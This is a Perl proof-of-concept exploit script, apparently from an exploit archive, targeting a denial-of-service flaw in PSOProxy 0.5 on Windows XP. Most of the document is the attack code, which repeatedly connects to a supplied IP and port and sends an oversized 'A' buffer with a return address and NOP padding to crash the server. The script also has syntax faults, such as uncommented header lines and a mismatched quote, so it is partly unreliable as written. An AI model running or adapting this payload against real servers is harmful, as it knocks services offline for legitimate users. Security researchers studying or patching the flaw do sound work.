#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: PSOProxy 0.5 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 10 january 2024

Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/

Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing

Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing

Notification vendor: No reported

Tested Version: PSOProxy 0.5

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=0uuUqfpRbHM

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

print "\t ==> Connecting to webserver… \n\n";
sleep(1);

my $i=0;
print "\t ==> Exploiting… \n\n";
while ($i <= 9) {
my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp’,
) or die "Cannot connect to $ip:$port: $!\n";

my $buffer = "A" x 3000;  
my $shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" .  
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

    $buffer .= "\x0F\x98\xF8\x77" . $shellcode;

print $sock $buffer . "\r\n";  
close($sock);

    $i++;  

}

print "\t ==> Done! Exploited!";
sub intro {
print q {

                          ,--,  
                   _ ___/ /\|  
               ,;'( )__, )  ~  
              //  //   '--;   
              '   \     | ^  
                   ^    ^

  [+] PSOProxy 0.5 - Denial of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "\n\tUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated